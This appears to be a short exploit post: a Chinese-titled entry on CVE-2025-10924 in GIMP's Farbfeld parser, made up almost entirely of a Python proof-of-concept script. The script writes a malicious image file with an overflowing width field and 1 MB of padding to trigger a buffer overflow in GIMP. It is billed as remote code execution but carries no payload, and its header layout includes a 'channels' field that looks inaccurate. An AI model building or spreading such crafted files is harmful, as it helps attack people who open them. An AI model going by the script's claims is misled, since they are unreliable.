CVE-2025-10924 GIMP FF文件解析整数溢出远程代码执行漏洞

import struct import sys def create_malicious_ff_file(output_path): """ PoC for CVE-2025-10924: GIMP FF File Parsing Integer Overflow RCE This creates a malicious FF file that triggers integer overflow in GIMP. """ # FF file header: magic (8 bytes) + width (4 bytes) + height (4 bytes) + color depth (4 bytes) magic = b'Farbfeld' # Trigger integer overflow: use a large value that will overflow when multiplied # In 32-bit context, this can cause buffer overflow # Width field - crafted to cause overflow in size calculation width = struct.pack('>I', 0xFFFFFFFF) # Max uint32, will overflow # Height field height = struct.pack('>I', 0x00000010) # Normal height # Color depth channels = struct.pack('>I', 0x00000008) # 8 channels (RGBA + extra) # Create header header = magic + width + height + channels # Craft malicious payload data that will overflow the undersized buffer # This exploits the integer overflow in buffer allocation payload_size = 1024 * 1024 # 1MB of crafted data payload = b'\x41' * payload_size # Pattern data to trigger overflow with open(output_path, 'wb') as f: f.write(header + payload) print(f"Malicious FF file created: {output_path}") print(f"File size: {len(header + payload)} bytes") print("Note: This PoC triggers integer overflow leading to buffer overflow") if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: python cve-2025-10924-poc.py <output_file.ff>") sys.exit(1) create_malicious_ff_file(sys.argv[1])